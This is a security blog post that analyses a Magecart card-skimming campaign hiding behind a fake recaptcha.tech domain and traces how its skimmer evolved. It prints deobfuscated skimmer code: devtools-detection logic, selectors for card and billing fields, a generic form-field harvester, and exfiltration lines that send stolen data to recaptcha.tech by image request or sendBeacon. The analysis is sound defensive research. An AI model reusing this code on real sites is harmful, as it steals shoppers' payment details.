Tech & Engineering Blog

The Evolution of a Magecart Attack Leveraging the Recaptcha.tech Domain

The Skimmer

Many of the variables, functions, and classes kept their original names (such as attackClass, tmpkeys, _badkeys, _mobile, allow, crypt, format, updatedata_, etc...) even though the script was obfuscated. I have renamed the rest with more meaningful — though sometimes lengthy — names. The code, shown in this github gist, is already deobfuscated, with the obfuscation functions and variables removed for readability’s sake.

The Flow

  1. The skimmer listens to keydown events and determines if the user opens the devtools using different key combinations. If such a combination is observed, a localstorage key is set and the attack ceases.
  2. The script detects whether the session is running on mobile by looking for strings indicating a mobile browser against the user agent string, along with whether ontouchstart exists in the window and if navigator.maxTouchPoints is bigger than 0.
  3. If the session isn’t running on mobile, another verification that the devtools are closed is initiated, this time by testing the difference between outer and inner window dimensions.
  4. If the devtools key does not exist in localStorage (i.e. there’s no indication of devtools being open), the script iterates over a list of hard-coded css selectors, most are clearly indicating form submit buttons, some with names of payment vendors such as Braintree, Wizgo, or OneStepCheckout, and if they exist, sets an event listener on them for mouseover events. It also marks them with an empty onrotate attribute to avoid redundancy.
  5. The script proceeds to iterate over all input, select, textarea, and selected option elements and collect their name/ID and their value.
  6. The collected data is encrypted with a hard-coded key - dev.recaptcha.stream and encoded.
  7. If the script has indications that the devtools are open, all the mouseover event listeners, as well as the keydown listener are deleted, and the attack ceases. The configuration is removed and important variables are cleared of values.
  8. Steps 2-7 repeat every half a second.
  9. Once the mouseover event is triggered, the collected data is sent via navigator.sendBeacon to a hard-coded URL, and the attack is stopped.

The Take

  • The existence of the loader as an inline script suggests the site itself has been compromised rather than this being a supply chain attack.
  • While some skimmers bring their own jQuery “just in case”, this loader (and actually all of the loaders identified as part of this campaign) requires jQuery to already be present at the site in order to fetch the skimmer.
  • The hard-coded list of target buttons to place the event listener on consists of a number of different identifiable payment vendors, suggesting that this is a generic attack, probably spread across different sites.
  • The generic collection of data from the input fields supports the previous assessment.

Diversion Meant for Human Eyes

The use of recaptcha in the domain, especially when the real Recaptcha is embedded in the site, is meant to throw off casual devtools peekers. It’s easy to understand how at a glance the malicious _https://recaptcha.tech/client/js/api.js _can be confused for the innocuous https://www.google.com/recaptcha/api.js.

Even the exfiltration url is disguised to look like a valid recaptcha endpoint - /verify.

Persistence is Key to Detecting Open Devtools

When you suspect there’s something wrong on a website, the first step is to open the developer tools window and look around. Peek in the Network tab to see if there’s any communication with an unfamiliar domain, or go over to the Sources tab to look for anything suspicious in the code. Perhaps you’d discover an out-of-place element in the Elements tab. There are a lot of ways to find attack indicators just by poking around the devtools, so there’s an incentive for skimmers to recognize if they’re being observed and to cease their operation.

This attack is no different in that aspect. It employs a common method to check if the devtools are open by comparing the outer and inner window size. While most skimmers simply avoid running when possibly being monitored, this one also installs a keylogger that monitors the last 3 keydown events that took place. It looks for specific combinations starting with ctrl and shift, where the last event was of one of its so called “bad keys” which are used to open the devtools (or view source) on Windows, Mac, or using Chrome, Safari, or Opera. The commonly used F12 key is also monitored.

config.bad_keys = ['I', 'C', 'J', 'U'];
document.onkeydown = function (keyboardEvent) {
  if (keyboardEvent.key === "F12") {
    localStorage.setItem("init", +new Date());
  }
  if (keyboardEvent.key !== config.tmp_keys[1]) {
    config.tmp_keys[3] = config.tmp_keys[2];
    config.tmp_keys[2] = config.tmp_keys[1];
    config.tmp_keys[1] = keyboardEvent.key;

    if (config.tmp_keys[3] === "Control" &&
    config.tmp_keys[2] === "Shift" &&
    config.bad_keys.includes(config.tmp_keys[1])) {
      localStorage.setItem("init", +new Date());
    }
  }
};

Once either mechanism determines the devtools were opened, a localStorage key is saved with its value set as the current datetime. The non-existence of this key is verified when the attack starts. If the key exists and is older than 3 hours, it is deleted. Otherwise, the attack is halted.

Evolution of a Skimmer: Getting More Classy

As previously mentioned, this campaign isn’t new, and while some attacks are still live, earlier iterations can be tracked all the way back to July 2019 when the server was registered. I went back and dug up previous versions of the skimmer served from the same domain and found it interesting to see the development of the skimmer, especially between its earliest version and the latest one.

Breakdown of an Earlier Attack

Here’s the earlier version of the skimmer. The loader was almost the same as the latest version, so I skipped it to avoid code clutter.

The Skimmer

The code, shown in this github gist, was deobfuscated with the obfuscation functions and variables removed for readability. The functions and variables were then renamed according to the latest version in order to simplify the comparison.

The Flow

Here’s how this early version performed the skimming:

  1. When the window is resized, a check for whether the devtools were open would run by testing the difference between outer and inner window dimensions. A localStorage key would be set if the devtools were detected.
  2. The localStorage key is checked on every second, removing any data the skimmer may have already collected if it exists, or removing the key if more than an hour has passed since setting it.
  3. The script checks if a button exists by looking for a hard-coded css selector 4 times a second.
  4. Once the button is located, the script marks it by setting an attribute on it, clones it, adds an event listener for clicks, and replaces the original with the clone while keeping the original stashed away.
  5. When the user clicks on the button, a hard-coded list of fields is collected and stored in the localStorage, under a different key than the one used for detecting devtools.
  6. The script creates an Image tag and disguises it as a 1 pixel gif file, though the actual destination is a php file, with the payload attached as part of the otherwise hard-coded query string.
  7. Once the Image tag is added to the DOM, the script removes that newly injected image tag as well as the collected data stored in the localStorage, replaces the clone with the original node, and clicks the original button.

The Differences

The first thing I noticed was that this is a straightforward linear script, without the more structured class and methods. But the fraudster’s improving coding skills isn’t really why I thought it interesting to compare versions; the expanding scope is.

The comparison shows obvious signs of improvement - not just in the script’s structure and techniques, but also in the ability to target more sites with the same code without requiring to adjust the code per attack.

I will focus on 3 key areas in which I noticed specific improvements: field targeting, button hooking, and data exfiltration.

Field Targeting

The earliest version operates by hard-coding the css selectors matching the targeted input fields and the attributes that should be harvested from them.

var targetedFieldsDetails = {};   // The target fields' cssSelector and attribute to harvest
  targetedFieldsDetails.cc_number = ["#cardnumber", "value"];
  targetedFieldsDetails.cc_cvv = ["#cvc", "value"];
  targetedFieldsDetails.cc_exp_m = ["#exp_month", "value"];
  targetedFieldsDetails.cc_exp_y = ["#exp_year", "value"];
  targetedFieldsDetails.cc_owner = null;
  targetedFieldsDetails.billing_state = ["[class='selectize-input items has-options full has-items']", "innerText"];
  targetedFieldsDetails.billing_city = ["#city_billing", "value"];
  targetedFieldsDetails.billing_country = null;
  targetedFieldsDetails.billing_email = ["#email_billing", "value"];
  targetedFieldsDetails.billing_firstname = ["#first_name_billing", "value"];
  targetedFieldsDetails.billing_lastname = ["#last_name_billing", "value"];
  targetedFieldsDetails.billing_zip = ["#zipcode_billing", "value"];
  targetedFieldsDetails.billing_address = ["#address_billing", "value"];
  targetedFieldsDetails.billing_telephone = ["#telephone_billing", "value"];

  if (localStorage.getItem("recaptcha.stream") == null) {
    var targetedFieldsCollectedData = {};
    Object.keys(targetedFieldsDetails).forEach(function (targetedField) {
      targetedFieldsCollectedData[targetedField] = null;
    });
    localStorage.setItem("recaptcha.stream", format(targetedFieldsCollectedData, true));
  }
  var storedData = format(localStorage.getItem("recaptcha.stream"), false);
  Object.keys(targetedFieldsDetails).forEach(function (targetedFieldDetails) {
    if (targetedFieldsDetails[targetedFieldDetails] != null) {
      switch (targetedFieldsDetails[targetedFieldDetails][1]) {
        case "value":
            if (document.querySelector(targetedFieldsDetails[targetedFieldDetails][0]) != null) {
              storedData[targetedFieldDetails] = document.querySelector(targetedFieldsDetails[targetedFieldDetails][0]).value;
            }
            break;
        case "innerText":
            if (document.querySelector(targetedFieldsDetails[targetedFieldDetails][0]) != null) {
              storedData[targetedFieldDetails] = document.querySelector(targetedFieldsDetails[targetedFieldDetails][0]).innerText;
            }
            break;
      }
    }
  });

These are specifically selected to match a certain payment provider or framework which uses these hard-coded IDs.

A later version moves from hard-coded IDs to naming the tag name along with its name attribute, perhaps due to a change in the framework or a change in the targets of this attack.

var targetedFieldsDetails = {};
targetedFieldsDetails.cc_number = ["input[name='card_number']", "value"];
targetedFieldsDetails.cc_cvv = ["input[name='x_card_code']", "value"];
targetedFieldsDetails.cc_exp_m = ["select[name='expire_month']", "value"];
targetedFieldsDetails.cc_exp_y = ["select[name='expire_year']", "value"];
targetedFieldsDetails.cc_owner = ["input[name='name_on_card']", "value"];
targetedFieldsDetails.billing_state = null;
targetedFieldsDetails.billing_city = ["input[name='city']", "value"];
targetedFieldsDetails.billing_country = ["select[name='country']", "value"];
targetedFieldsDetails.billing_email = ["input[name='customer_email']", "value"];
targetedFieldsDetails.billing_firstname = ["input[name='customer_first']", "value"];
targetedFieldsDetails.billing_lastname = ["input[name='customer_last']", "value"];
targetedFieldsDetails.billing_zip = ["input[name='zipcode']", "value"];
targetedFieldsDetails.billing_address = ["input[name='street']", "value"];
targetedFieldsDetails.billing_telephone = null;

if (document.querySelector("#country_code_input") != null && document.querySelector("#customer_phone") != null) {
  targetedFieldsDetails.billing_telephone = document.querySelector("#country_code_input").value.concat('').concat(document.querySelector("#customer_phone").value);
}

if (document.querySelector("select[name='state']") != null) {
  targetedFieldsDetails.billing_state = document.querySelector("select[name='state']").value;
}

In this intermediate version, additional information on country code and state is specifically collected. The collection itself, including the switch statement, is kept the same.

In the latest version, the code iterates over all input, select, and textarea fields found on the page, dynamically extracting their name/ID and the attribute relevant for them that contains the targeted data:

let collectedData = {};
document.querySelectorAll("input, select, textarea, option[selected=\"selected\"]").forEach(function (el) {
  try {
    if (el.type !== "hidden" || el.hasAttribute("data-validate-required")) {
      let elName = null;
      if (el.name && el.name.length > 0) {
        elName = el.name;
      } else if (el.id && el.id.length > 0) {
        elName = el.id;
      } else if (el.parentNode.name.length > 0) {
        elName = el.localName + '$' + el.parentNode.name;
      } else if (el.parentNode.id.length > 0) {
        elName = el.localName + '$' + el.parentNode.id;
      } else {
        return;
      }
      if (el.value !== undefined && el.localName !== "option") {
        if (el.value.length > 0) {
          collectedData[elName] = el.value;
        }
      } else if (el.innerText !== undefined) {
        if (el.innerText.length > 0) {
          collectedData[elName] = el.innerText;
        }
      }
    }
  } catch (e) { }
});

This strategy allows the same script to run on pretty much any page that provides access to these input fields without any need for modification.

Button Hooking

The design choice for when to start the actual harvesting has also been revisited between the earliest version and the intermediate one, not changing again for any future version.

The earliest version started the attack after the replacement button was clicked:

var targetedButtons = {};
targetedButtons["[class='ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only']"] = true;
// ...
Object.keys(targetedButtons).forEach(function (cssSelector) {
  if (!(document.querySelector(cssSelector) == null)) {
    if (document.querySelector(cssSelector).getAttribute("default") !== "true") {
      attachAttackToButton([cssSelector, targetedButtons[cssSelector]]);
    }
  }
});
// ...
function attachAttackToButton(cssSelectorDetails) {
  var el = document.querySelector(cssSelectorDetails[0]);
  var parentEl = el.parentNode;
  var clonedEl = el.cloneNode(true);
  clonedEl.removeAttribute("href");
  clonedEl.setAttribute("default", true);
  var counter = 0;
  clonedEl.addEventListener("click", () => {
    if (!localStorage.getItem("init")) {
      harvestValues(); // <-- The data collection
      // ...
    }
  });
}

The intermediate version brought on a change in the timing data collection - now collecting in an interval, not bound to a click on the submit button, which only initiated the data exfiltration:

function attackOnIntervals() {
  // ...
  if (!localStorage.getItem("init")) {
    harvestValues();
  }
}

setInterval(attackOnIntervals, 250);
// ...
var targetedButtons = {};
targetedButtons["#complete_my_order"] = true;
// ...
Object.keys(elementReplacements).forEach(function (elementDetails) {
  try {
    elementReplacements[elementDetails][0]
        .replaceChild(elementReplacements[elementDetails][1], elementReplacements[elementDetails][2]);
  } catch (e) {}
});

You’ll also notice that the targeted button’s css selector has changed, probably targeting a different payment provider.

The version that came after that already made the jump from replacing the button to hooking the original. It used an object where the css selector for a checkout button possibly on the page is the key, and the value notes whether it has been hooked (useful to avoid double-hooking and to remove hooking when the attack is completed):

const objects = {};
objects["#purchasebutton"] = false;
objects["#purchasebutton2"] = false;
objects["#complete_my_order"] = false;
objects["#buyBtn"] = false;
objects[".membership-fixed.membership-purchase.footer-nav-bar.active .container"] = false;
objects[".membership-fixed.membership-order.footer-nav-bar.active .container"] = false;
objects["#pay-ccard"] = false;
objects[".button.blue-button.register-button"] = false;
objects["#button-confirm"] = false;
objects["div[id='tab-3'] .procced-to-payment-block .btn.wizgobtn"] = false;
objects["div[id='tab-9'] .procced-to-payment-block .btn.wizgobtn"] = false;
objects["button[class='thm-btn thm-blue-bg']"] = false;
objects["button[class='pg-button pg-checkout-continue btn btn-primary btn-full']"] = false;
config.object = objects;
// ...
for (let [cssSelector, isHooked] of Object.entries(config.objects)) {
  try {
    if (!isHooked) {
      if (document.querySelector(cssSelector) !== undefined) {
        document.querySelector(cssSelector).addEventListener("mouseover", this.send);
        config.objects[cssSelector] = !![];
      }
    }
  } catch (e) {}
}

The latest version does away with the objects object (but keeps the name) and simply sets an innocuous attribute on hooked buttons. Notice the newly added css selectors, which suggests this version caters to a much broader selection of possible targets:

config.objects = ["#purchasebutton", "#purchasebutton2", "#complete_my_order", "#buyBtn", ".membership-fixed.membership-purchase.footer-nav-bar.active .container", ".membership-fixed.membership-order.footer-nav-bar.active .container", "#pay-ccard", ".button.blue-button.register-button", "#button-confirm", "div[id='tab-3'] .procced-to-payment-block .btn.wizgobtn", "div[id='tab-9'] .procced-to-payment-block .btn.wizgobtn", "button[class='thm-btn thm-blue-bg']", "button[class='pg-button pg-checkout-continue btn btn-primary btn-full']", "#place_order", "#send", "#checkout_submit", "#edit-continue", "input[class='btn-dk-blue btn-md btn-rounded checkout_mobile']", "#button-payment-method", "button[class^='PayNowButton__GoToCheckout']", "button[class^='AddressForm__GoToCheckout']", "form[id='checkout_shipping_form'] button[type='submit']", "button[id='submit_order']", ".advertise_login .btn_right_container_checkout input", ".advertise_register .btn_right_container_checkout input", "#placeOrderButton", "#submit_checkout_form_btn", "#submit_user_data", "#complete_reservation", "#pay-next-braintree", "button[class='card_checkout_button proceed_btn']", "input[class='btn-regular-sm']", "#onestepcheckout-button-place-order"];
// ...
config.objects.forEach(function (cssSelector, _, __) {
 try {
     if (document.querySelector(cssSelector) !== undefined) {
         if (!document.querySelector(cssSelector).hasOwnProperty("onrotate")) {
             document.querySelector(cssSelector).addEventListener("mouseover", this.send);
             Object.defineProperty(document.querySelector(cssSelector), "onrotate", {});
         }
     }
 } catch (e) {}
}, this);

Data Exfiltration

Another interesting change is the techniques used to exfiltrate the stolen data back to the fraudster’s server.

The earliest version injects an image element and sets the src attribute to point at the fraudster’s server. The encrypted stolen data hides as part of the query string, which also includes some “noise” to make this request seem less suspicious.

var img = document.createElement("img");
img.width = "1px";
img.height = "1px";
img.id = "devRecaptchaStream";
img.src = "https://recaptcha.tech/recaptcha.php?recaptcha_stream=" + 
  localStorage.getItem("recaptcha.stream") +              // The stolen data
  "&type=desktop&format=gif&mod=find_buses&id=3b4353";    // The attempt at misdirection
document.body.appendChild(img);

You’ll notice how the width and height of the element was set to 1x1 similar to a tracking pixel. I’m not sure if at that time the server actually returned a pixel response, but in any case, another function running in intervals of 4 times a second would search for this image element and remove it once it was found.

send() {navigator.sendBeacon(config.backend, config.data);}

I would venture a guess that hooking the button instead of replacing it, and using mouseover together with this sendBeacon technique, are all part of the attempt to be less intrusive and change the flow of the site. This might end up breaking the site, making the attack more noisy and possibly alerting the users and the owner of the site to it.

Between employing more techniques to identify when the script is being observed (open devtools), limiting the scope of the variables, and cleaning up when the attack is halted, there is an observable active effort made by the fraudster to avert research and detection of the attack.

To Recap(tcha)

This skimmer evolved over the course of two years, from an attack targeting specific fields on a single site configuration into a generic attack that is compatible with a range of frameworks or payment providers.

Over time, some techniques were enhanced in quality, ensuring the skimmer ran its course while also improving anti-research protection. Others — like the use of a key in the localStorage to halt the attack, and the encryption functions — remained the same. If a certain method works, like hiding behind a server evoking the name recaptcha, why change it? Keep in mind that while this skimmer does not exhibit any advanced characteristics that would prove a challenge to most detection solutions, it still ran uninterrupted for quite a while, probably due in part to its maintainer’s adaptability.